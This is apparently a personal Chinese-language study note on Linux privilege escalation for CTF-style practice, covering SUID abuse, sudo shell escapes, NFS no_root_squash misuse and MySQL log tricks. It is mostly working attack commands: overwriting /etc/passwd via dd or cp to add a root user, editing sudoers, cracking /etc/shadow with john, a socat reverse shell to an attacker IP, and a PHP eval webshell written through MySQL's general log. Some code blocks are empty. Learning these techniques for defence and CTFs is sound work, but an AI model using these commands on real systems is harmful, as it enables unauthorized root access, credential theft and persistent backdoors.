linux提权学习
Linux提权
1)利用SUID提权
什么是suid?
Set User ID的一种权限类型,允许用户使用指定的用户权限执行文件。那些具用suid权限的文件以最高的权限运行。假设我们以非root用户身份访问目标系统,并且我们发现二进制文件启用了suid位,那么
这些文件/程序/命令可以以root权限运行SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限的资源
什么是SGID
G的意思就是
group
,功能和suid
基本不相同,唯一区别就是suid
获得命令所属用户的身份和权限,而sgid
是获取所属用户组的身份和权限
SUID权限
1,SUID权限只能设置二进制文件。
2,命令执行者要有二进制文件的执行权。
3,命令执行者执行二进制文件时会获得该程序的属主身份。
4,SUID权限只在程序执行过程中有效。
即如果root给一个程序赋予了SUID权限,则普通用户在执行该程序过程中,是root权限。
*关键
1.查看具有root
用户权限的SUID
二进制可执行文件
1 | find / -perm -u=s -type f 2>/dev/null |
2.已知的可用来提权的linux
可执行的文件列表如下
1 | Nmap、Vim、find、Bash、More、Less、Nano、cp |
提权
(1)利用find获取root权限shell
1 | find / -name filename -exec “/bin/sh” \; |
这个filename,只要存在就行,目的是让find命令可以成功执行,后面的-exec就是加上命令
这里find有suid权限,普通用户执行时,会变成root用户,执行/bin/sh命令时,会进入root用户,从而实现提权
如果find没有suid权限,执行/bin/sh命令后,仍然是普通用户
·/为根目录
·-name 按文件名查找
·-exec 对匹配对象执行的命令,以;结束
但是(;)是特殊字符,需要用(\)转义
(2)利用cp获取root权限shell
以cp为例,这里给cp添加SUID权限做测试,拥有SUID权限的程序会有rwx变成rws。
可以通过
1 | find / -perm -u=s -type f 2>/dev/null |
命令来查找拥有SUID权限的程序。
当普通用户运行cp命令时,此时的cp权限就为root,利用时,可以cp把/etc/passwd复制到桌面,然后进行修改。
首先用openssl生成一个密码。passwd参数代表生成一个密码,-1为md5,-salt指定盐(随意指定),最后跟要加密的值,也就是密码abcd
然后按照etc/passwd的格式添加一个新用户,权限按root的写即可。
添加后我们用cp再把文件复制回去进行替换,此时就添加了一个abcd用户,权限为root。
(3)利用Vim获取root权限shell
vim在有SUID权限的情况下,也可用来进行提权操作。
当vim被赋予suid权限后,意味着任何用户都可以使用vim命令来编辑那些只能由root编辑的文件,例如通过vim来编辑etc/sudoers文件(普通用户会被直接拒绝访问),在sudoers文件中配置普通用户的权限,权限和root一样,这里以test用户为例,添加如下内容:
1 | test ALL=(ALL:ALL) ALL |
vim编辑后保存时用wq!强制保存,vim运行时虽然是root权限,但wq依然会提示只读。
随后sudo bash就会获取一个root的shell。
(4)利用nmap获取root权限shell
1.旧版
nmap(2.02-5.21)存在交换模式,可利用提权
1 | nmap --interactive |
之后执行:
1 | nmap> !sh |
msf中的模块为:
1 | exploit/unix/local/setuid_nmap |
2.新版
较新版可使用
--script
参数:
1 | 先写入一条命令 |
成功提权
(5)利用脚本获取root权限shell
除了系统的一些可执行命令,自己写的可执行文件也可添加SUID权限。不论c或者go或者其他语言都可以,这里以c为例。
示例代码如下:
1 |
|
使用gcc进行编译。
编译后传入目标机,这里放到bin/aaa目录下,然后添加SUID权限测试。
普通用户执行该文件后,会返回一个root权限的shell。
2)利用SUDO提权
sudo和su的区别
1,sudo是以root权限去运行一个命令,su是去切换用户的身份。
2,sudo只要知道自己的密码即可,su需要知道被切换用户的密码。
sudoers文件
/etc/sudoers文件,是sudo权限的配置文件。当使用sudo接命令时,linux系统会在sudoers文件中查找当前用户,根据当前用户权限配置来决定是否可以运行相关命令。
例如添加test用户的相关配置:
格式如下:
sudo su && sudo bash
当没有对普通用户做严格的限制时,或者配置权限过大时,则可以尝试sudo su来切换到root权限。
或者执行sudo bash。
当visudo命令不能用时,限制了部分命令,则可以尝试下vim是否被禁用,sudo vim也可以编辑sudoers文件,且wq!可以成功保存。
*SUDO -dd 提权法
当用户可以通过sudo执行dd命令时,可以被用来提权。通过dd命令覆盖原始/etc/passwd文件,以达到修改密码的目的
1、创建一个已知密码的hash,以备替换时使用
1 | hh@hh:/etc$ openssl passwd -1 -salt 123 password |
2、备份原始passwd文件,以防修改错误时无法访问
1 | cp /etc/passwd /tmp/passwd |
3、利用第一步里生成的hash构建新的passwd hash条目
1 | hh@hh:/tmp# cat passwd |
4、使用dd覆盖原始passwd文件
1 | hh@hh:/tmp$ cat passwd|sudo dd of=/etc/passwd |
5、使用刚才创建hash时使用的密码进行登录
1 | hh@hh:/tmp$su root |
提权成功!
*GIT
1 | 输入sudo -l |
就可以发现root
以nopasswd
【不需要密码】运行git命令
原理是git存在缓存区溢出漏洞,
在使用
1 | sudo git -p |
不需要输入root密码,即可以root身份执行这条命令
操作如下
1 | sudo git -p |
下面可以看看区别
*注意
1.窗口足够大
可以看到显示完了,就有回到原处了
2.窗口小一些
下方就显示出:,等待输入
1 | **:是自带有的,不是输入的 |
1.执行命令,拿到root的shell
$
变成#
成功
2.修改密码,登录
$
变成#
,成功登录
其他命令
也有很多其他命令可以用来提权,和之前的SUID提权中说的命令类似,例如sudo允许find命令,则可以通过exec参数来切换到root权限。
这里添加新用户aaa,并修改sudoers文件,允许部分命令,内容如下。
1 | aaa ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi |
这时aaa用户使用sudo就只能执行配置好的命令,sudo su和sudo bash被禁止执行。
相关命令提权方式如下:
find
exec
参数用来指定搜索结果的处理命令,需要以分号结尾,分号在命令行有特殊函数,要用\
进行转义。
perl
e
参数用来指定要运行的命令,然后使用linux
的exec
参数来调用bash
。
python
c
参数可以在命令行执行python
代码,pty
库是一个伪终端库,它的spawn
会调用指定的程序。
less
输入
sudo less /etc/hosts
命令浏览文件内容时,到底部输入!bash
后回车,会获得一个root
权限的shell
。
awk
通过调用linux的system函数来打开bash。
man
通过sudo man man命令来打开man的使用手册,同时会进入编辑行,输入!bash回车,可获取root权限。
*vi
sudo vi
会进入vi默认页,输入:!bash
回车,可进入root
命令行。
脚本
如果sudoers定义了可以执行某个脚本,则我们可以把返回shell的代码添加进去。
例如桌面有个运维需要的aaa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可。
参考代码:
应用程序
除了上面的一些二进制文件,一些应用程序也可以获取root权限,例如env、ftp、socat、scp。
env
通过env环境变量来获取root权限。
ftp
通过ftp来进入bash获取root权限。
socat
通过socat客户端连接攻击机,攻击机可获得rootshell。先执行服务端,后执行客户端。
1 | sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.23.128:4444 |
scp
还有一个scp,scp是一个安全复制文件的命令,它无法获取一个shell,但可以用来复制一些系统的敏感文件。例如etc/passwd、etc/shadow等。
如下命令,将passwd文件传输到指定机器的root/Desktop下,然后再对密码进行破解等操作。
黑名单情况
如果碰到sudoers文件使用黑名单的情况,比如说权限禁用sudo使用find命令,但是都是在ALL基础上设置的,那么可以cp把find复制到其它目录运行。
3) NFS配置不当导致提权
NFS介绍
NFS是network file system缩写,网络文件系统,用来挂在某个目录或文件进行共享,默认是2049端口,功能类似于windows的共享。
这里以ubuntu为例,简单配置一下:
首先安装nfs服务端:
1 | sudo apt-get install nfs-kernel-server |
安装后修改配置文件/etc/exports,这里将home目录进行挂载共享,内容如下:
1 | /home *(rw,no_root_squash) |
其中/home是要挂载的目录,*代表允许连接的主机,这里是所有,rw是读写权限,no_root_squash代表客户端允许以root权限访问nfs。
随后重启相关服务:
1 | # nfs通过rpc通信,这里把rpcbind也重启下sudo /etc/init.d/rpcbind restartsudo /etc/init.d/nfs-kernel-server restart |
此时就配置好了,可以通过showmount命令来列出目标机的共享目录,e参数显示NFS服务器的输出清单。
或者通过nmap的相关脚本来进行扫描。
NFS配置不当可提权
当nfs配置了读写权限,且允许客户端以root访问时,就会存在安全隐患。
测试如下:
首先客户端把目标机nfs的共享挂载到本地,然后把bash复制进去并赋予suid权限,操作如下图。
此时目标机的home目录下就会有一个具有suid权限的bash。
普通用户执行即可获取root权限,这里注意需要加上p
参数,否则权限还是当前用户的。
p
参数说明:不提供的情况下,打开bash权限是当前实际用户,提供的情况下,会打开特权模式,像上继承suid
,因为bash有suid
权限,所以这里是root。
使用场景:这个和suid
提权很像,给程序赋予suid
权限然后利用。不同的是前两篇suid
提权是当前用户使用sudo chmod
自己修改的,在sudoers
禁用sudo
命令等情况下,就行不通了。而nfs
配置利用,是客户端挂载到本地赋权的,目标机的普通用户只需执行就可以。
同理,之前总结的suid
提权的那些程序也同样适用,这里就不再记了。
其它命令
除了可以直接得到shell
的,还有其他一些程序不能直接获取,例如nano、vi
等。
然后使用nano -p
来读取shadow
文件,这里读取时把相关记录复制出来,使用john
破解,测试不能重定向,需要权限,所以只能复制。
复制后使用john
破解获取相关用户密码,以root
为例,密码是root
。
如果密码太复杂,破解不了,则可以尝试其它用户,例如我这里目标机是aaa
用户,破解aaa
密码为aaa
。
这时候不确定aaa
是否为root
权限,则可以继续使用nano
去编辑passwd
文件,给aaa
赋权。
把原来的1001
换成0
.
然后切换aaa
用户即可。
利用这种机制,也可以用来修改sudoers
文件,添加或修改为以下内容。
1 | aaa ALL=(ALL:ALL) NOPASSWD:ALL |
然后使用sudo bash
或sudo su
获取root
权限。
4)Mysql提权
1、通过mysql日志功能
SHOW VARIABLES LIKE 'general%' 查询日志
set global general_log = "ON"; 开启日志记录
set global general_log_file='C://phpStudy//PHPTutorial//WWW//shell.php'; 设置日志路径
select '<?php @eval($_POST[1]);?>'; 写入一句话
连接成功
5)环境变量提权
nepctf2023遇到